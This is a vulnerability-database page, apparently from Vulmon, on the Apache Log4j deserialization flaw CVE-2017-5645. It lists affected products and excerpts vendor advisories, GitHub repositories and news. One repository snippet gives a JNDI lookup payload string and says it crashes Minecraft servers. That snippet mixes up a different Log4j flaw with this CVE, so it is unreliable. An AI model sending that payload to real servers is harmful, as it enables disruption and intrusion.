Published: 17/04/2017 Updated: 07/11/2023

CVSS v2 Base Score: 7.5 | Impact Score: 6.4 | Exploitability Score: 10

CVSS v3 Base Score: 9.8 | Impact Score: 5.9 | Exploitability Score: 3.9

VMScore: 670

Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P

In Apache Log4j 2.x prior to 2.8.2, when using the TCP socket server or UDP socket server to receive serialized log events from another application, a specially crafted binary payload can be sent that, when deserialized, can execute arbitrary code.

Vulnerable Product	Search on Vulmon	Subscribe to Product
apache log4j
netapp snapcenter -
netapp storage automation store -
netapp oncommand workflow automation -
netapp oncommand insight -
netapp service level manager -
netapp oncommand api services -
redhat enterprise linux desktop 7.0
redhat enterprise linux 7.4
redhat enterprise linux workstation 7.0
redhat enterprise linux 7.0
redhat enterprise linux 6.0
redhat enterprise linux server 7.0
redhat enterprise linux 6.7
redhat enterprise linux 7.3
redhat enterprise linux server aus 7.4
redhat enterprise linux server eus 7.4
redhat enterprise linux 7.5
redhat enterprise linux server tus 7.4
redhat enterprise linux server eus 7.5
redhat enterprise linux server tus 7.6
redhat enterprise linux server eus 7.6
redhat enterprise linux server aus 7.6
redhat enterprise linux 7.6
redhat fuse 1.0
oracle flexcube investor servicing 12.3.0
oracle flexcube investor servicing 12.1.0
oracle jd edwards enterpriseone tools 9.2
oracle retail service backbone 14.1
oracle enterprise manager base platform 12.1.0.5
oracle api gateway 11.1.2.4.0
oracle flexcube investor servicing 12.0.4
oracle weblogic server 12.1.3.0.0
oracle fusion middleware mapviewer 12.2.1.2
oracle jdeveloper 11.1.1.9.0
oracle retail service backbone 15.0
oracle jdeveloper 12.1.3.0.0
oracle retail integration bus 15.0
oracle weblogic server 10.3.6.0.0
oracle weblogic server 12.2.1.3.0
oracle flexcube investor servicing 12.4.0
oracle soa suite 12.1.3.0.0
oracle soa suite 12.2.1.3.0
oracle identity analytics 11.1.1.5.8
oracle siebel ui framework 18.7
oracle siebel ui framework 18.8
oracle siebel ui framework 18.9
oracle retail open commerce platform 6.0.1
oracle application testing suite 13.3.0.1
oracle flexcube investor servicing 14.0.0
oracle insurance rules palette 10.0
oracle insurance rules palette 10.2
oracle tape library acsls 8.4
oracle retail open commerce platform 5.3.0
oracle retail open commerce platform 6.0.0
oracle insurance calculation engine 10.2.1
oracle insurance calculation engine 10.1.1
oracle insurance rules palette 10.1
oracle insurance rules palette 11.0
oracle insurance rules palette 11.1
oracle retail integration bus 16.0
oracle banking platform 2.6.0
oracle banking platform 2.6.1
oracle banking platform 2.6.2
oracle communications webrtc session controller
oracle enterprise manager for peoplesoft 13.1.1.1
oracle enterprise manager for peoplesoft 13.2.1.1
oracle enterprise manager for oracle database 12.1.0.8
oracle enterprise manager for oracle database 13.2.2
oracle enterprise manager for mysql database
oracle enterprise manager for fusion middleware 12.1.0.5
oracle enterprise manager for fusion middleware 13.2.0.0
oracle enterprise manager base platform 13.2.0.0
oracle communications pricing design center 11.1
oracle communications pricing design center 12.0
oracle jdeveloper 12.2.1.3.0
oracle communications converged application server - service controller 6.1
oracle communications online mediation controller 6.1
oracle communications service broker 6.0
oracle goldengate application adapters 12.3.2.1.1
oracle soa suite 12.2.2.0.0
oracle communications messaging server
oracle configuration manager 12.1.2.0.2
oracle configuration manager 12.1.2.0.5
oracle bi publisher 12.2.1.4.0
oracle bi publisher 11.1.1.7.0
oracle bi publisher 11.1.1.9.0
oracle bi publisher 12.2.1.3.0
oracle identity management suite 11.1.2.3.0
oracle identity management suite 12.2.1.3.0
oracle retail extract transform and load 13.0
oracle retail extract transform and load 13.1
oracle retail extract transform and load 13.2
oracle utilities work and asset management 1.9.1.2.12
oracle autovue vuelink integration 21.0.1
oracle autovue vuelink integration 21.0.0
oracle retail predictive application server 15.0.3
oracle retail integration bus 14.1.0
oracle retail integration bus 14.0.0
oracle retail clearance optimization engine 14.0.5
oracle policy automation for mobile devices 10.4.7
oracle policy automation for mobile devices 12.1.0
oracle policy automation for mobile devices 12.1.1
oracle policy automation for mobile devices 12.2.0
oracle policy automation for mobile devices 12.2.1
oracle policy automation for mobile devices 12.2.2
oracle policy automation for mobile devices 12.2.3
oracle policy automation for mobile devices 12.2.4
oracle policy automation for mobile devices 12.2.5
oracle policy automation for mobile devices 12.2.6
oracle policy automation for mobile devices 12.2.7
oracle policy automation for mobile devices 12.2.8
oracle policy automation for mobile devices 12.2.9
oracle policy automation for mobile devices 12.2.10
oracle policy automation connector for siebel 10.4.6
oracle policy automation 10.4.7
oracle policy automation 12.1.0
oracle policy automation 12.1.1
oracle policy automation 12.2.0
oracle policy automation 12.2.1
oracle policy automation 12.2.2
oracle policy automation 12.2.3
oracle policy automation 12.2.4
oracle policy automation 12.2.5
oracle policy automation 12.2.6
oracle policy automation 12.2.7
oracle policy automation 12.2.8
oracle policy automation 12.2.9
oracle policy automation 12.2.10
oracle peoplesoft enterprise fin install 9.2
oracle mysql enterprise monitor
oracle insurance policy administration 10.0
oracle insurance policy administration 10.1
oracle insurance policy administration 10.2
oracle insurance policy administration 11.0
oracle fusion middleware mapviewer 12.2.1.3
oracle enterprise data quality 12.2.1.3.0
oracle financial services profitability management
oracle financial services profitability management 6.1.1
oracle financial services loan loss forecasting and provisioning 8.0.4
oracle financial services loan loss forecasting and provisioning 8.0.5
oracle financial services hedge management and ifrs valuations 8.0.4
oracle financial services hedge management and ifrs valuations 8.0.5
oracle financial services behavior detection platform
oracle financial services behavior detection platform 6.1.1
oracle financial services analytical applications infrastructure
oracle endeca information discovery studio 3.2.0
oracle weblogic server 12.2.1.4.0
oracle weblogic server 14.1.1.0.0
oracle rapid planning 12.1
oracle rapid planning 12.2
oracle instantis enterprisetrack
oracle utilities advanced spatial and operational analytics 2.7.0.1
oracle primavera gateway
oracle identity manager connector 9.0
oracle financial services lending and leasing
oracle financial services lending and leasing 12.5.0
oracle communications network integrity
oracle retail service backbone 16.0
oracle retail extract transform and load 19.0
oracle communications instant messaging server 10.0.1.3.0
oracle financial services regulatory reporting with agilereporter 8.0.9.2.0
oracle retail advanced inventory planning 15.0
oracle timesten in-memory database 11.2.2.8.49
oracle communications interactive session recorder
oracle jd edwards enterpriseone tools 4.0.1.0
oracle in-memory performance-driven planning 12.2
oracle in-memory performance-driven planning 12.1
oracle retail advanced inventory planning 14.0
oracle goldengate 12.3.2.1.1

Debian Bug report logs - #860489 apache-log4j2: CVE-2017-5645: socket receiver deserialization vulnerability Package: src:apache-log4j2; Maintainer for src:apache-log4j2 is Debian Java Maintainers <pkg-java-maintainers@listsaliothdebianorg>; Reported by: Salvatore Bonaccorso <carnil@debianorg> Date: Mon, 17 Apr 20 ...

Debian Bug report logs - #947124 apache-log4j12: CVE-2019-17571 Package: src:apache-log4j12; Maintainer for src:apache-log4j12 is Debian Java Maintainers <pkg-java-maintainers@listsaliothdebianorg>; Reported by: Salvatore Bonaccorso <carnil@debianorg> Date: Sat, 21 Dec 2019 13:39:01 UTC Severity: grave Tags: s ...

Synopsis Important: Red Hat JBoss BPM Suite 646 security update Type/Severity Security Advisory: Important Topic An update is now available for Red Hat JBoss BPM SuiteRed Hat Product Security has rated this update as having a security impact of Important A Common Vulnerability Scoring System (CVSS) base ...

Synopsis Important: eap7-jboss-ec2-eap security update Type/Severity Security Advisory: Important Topic An update for eap7-jboss-ec2-eap is now available for Red Hat JBoss Enterprise Application Platform 70 for Red Hat Enterprise Linux 6 and Red Hat JBoss Enterprise Application Platform 70 for Red Hat Ent ...

Synopsis Important: Red Hat JBoss Data Grid 711 security update Type/Severity Security Advisory: Important Topic Red Hat JBoss Data Grid 711 is now available for download from the Customer PortalRed Hat Product Security has rated this update as having a security impact of Important A Common Vulnerabil ...

Synopsis Important: Red Hat JBoss Enterprise Application Platform security update Type/Severity Security Advisory: Important Topic An update is now available for Red Hat JBoss Enterprise Application Platform 70 for Red Hat Enterprise Linux 6Red Hat Product Security has rated this update as having a securi ...

Synopsis Important: rh-java-common-log4j security update Type/Severity Security Advisory: Important Topic An update for rh-java-common-log4j is now available for Red Hat Software CollectionsRed Hat Product Security has rated this update as having a security impact of Important A Common Vulnerability Scori ...

Synopsis Important: Red Hat Fuse 731 security update Type/Severity Security Advisory: Important Topic A micro version update (from 73 to 731) is now available for Red Hat Fuse The purpose of this text-only errata is to inform you about the security issues fixed in this releaseRed Hat Product Security ...

Synopsis Important: Red Hat JBoss Enterprise Application Platform security update Type/Severity Security Advisory: Important Topic An update is now available for Red Hat JBoss Enterprise Application PlatformRed Hat Product Security has rated this update as having a security impact of Important A Common Vu ...

Synopsis Important: Red Hat JBoss Enterprise Application Platform security update Type/Severity Security Advisory: Important Topic An update is now available for Red Hat JBoss Enterprise Application Platform 70 for Red Hat Enterprise Linux 7Red Hat Product Security has rated this update as having a securi ...

Synopsis Important: Red Hat JBoss Web Server 310 Service Pack 1 security update Type/Severity Security Advisory: Important Topic An update is now available for Red Hat JBoss Web Server 31 for RHEL 6 and Red Hat JBoss Web Server 31 for RHEL 7Red Hat Product Security has rated this update as having a sec ...

Synopsis Important: Red Hat JBoss Enterprise Application Platform 52 security update Type/Severity Security Advisory: Important Topic An update is now available for Red Hat JBoss Enterprise Application PlatformRed Hat Product Security has rated this update as having a security impact of Important A Commo ...

Synopsis Important: Red Hat JBoss Enterprise Application Platform 52 security update Type/Severity Security Advisory: Important Topic An update is now available for Red Hat JBoss Enterprise Application Platform 5 for Red Hat Enterprise Linux 5 and Red Hat JBoss Enterprise Application Platform 5 for Red Hat ...

Synopsis Important: Red Hat JBoss BRMS 646 security update Type/Severity Security Advisory: Important Topic An update is now available for Red Hat JBoss BRMSRed Hat Product Security has rated this update as having a security impact of Important A Common Vulnerability Scoring System (CVSS) base score, wh ...

Synopsis Important: Red Hat JBoss Web Server Service Pack 1 security update Type/Severity Security Advisory: Important Topic An update is now available for Red Hat JBoss Web Server 31Red Hat Product Security has rated this update as having a security impact of Important A Common Vulnerability Scoring Sys ...

It was found that when using remote logging with log4j socket server the log4j server would deserialize any log event received via TCP or UDP An attacker could use this flaw to send a specially crafted log event that, during deserialization, would execute arbitrary code in the context of the logger application (CVE-2017-5645) A flaw was discovere ...

Apache Log4j Server 反序列化命令执行漏洞（CVE-2017-5645） Apache Log4j是一个用于Java的日志记录库，其支持启动远程日志服务器。Apache Log4j 282之前的2x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。漏洞环境执行如下命令启动漏洞环境 docker-compose up -d

CVE-2017-5645 - Apache Log4j RCE due Insecure Deserialization

CVE-2017-5645 CVE-2017-5645 - Apache Log4j RCE due Insecure Deserialization

spassassinV10渗透工具使用说明主要功能 1、信息收集：端口扫描 web基本信息收集 cdn检测子域名查询 2、爆破功能：登录框的密码爆破，支持密码的md5加密爆破 3、漏洞扫描：常见OA的高危漏洞（致远、蓝凌、金蝶、万户、通达、用友） log4j(CVE-2017-5645) 4、漏洞利用：根据漏洞�

Apache Log4j 1.2.X存在反序列化远程代码执行漏洞

CVE-2019-17571/Apache Log4j 12X存在反序列化远程代码执行漏洞漏洞预警参考链接： mpweixinqqcom/s/okU2y0izfnKXXtXG3EfLkQ 1 漏洞描述 Apache Log4j是美国阿帕奇（Apache）软件基金会的一款基于Java的开源日志记录工具Apache Log4j 12X系列版本中存在反序列化远程代码执行漏洞攻击者可利用该漏洞执

I still don't believe that was real all this time

Log4J-RCE-Implementation Basically run this (replacing the ip and port to the server in this repo): ${jndi:ldap://127001:3710/a} For now, this is capable of crashing any MC server or proxy Sending a single chat message "${jndi:ldap://1921681123:3710/owo}" on any 189 server will crash githubcom/pimps/CVE-2017-5645

How much does Oracle love you? Thiiiis much: Latest patch bundle has 402 fixes

The Register • Gareth Corfield • 21 Oct 2020

How many times do you want to read the CVSS rating 9.8 today?

Oracle has released its final quarterly batch of patches for the year for security flaws in its products. The total this time? 402 fixes, the bulk of which are rated critical in terms of severity. In all, there are 230 CVE-listed bugs fixed across 27 Oracle products, according to Tenable, which noted Big Red's record is still July 2020 with more than 440 patches. "Oracle continues to periodically receive reports of attempts to maliciously exploit vulnerabilities for which Oracle has already rele...

Get Started

CVE-2017-5645

Vulnerability Summary

Vulnerability Trend

Vendor Advisories

Github Repositories

Recent Articles

References

Vulmon Search

About

Products

Connect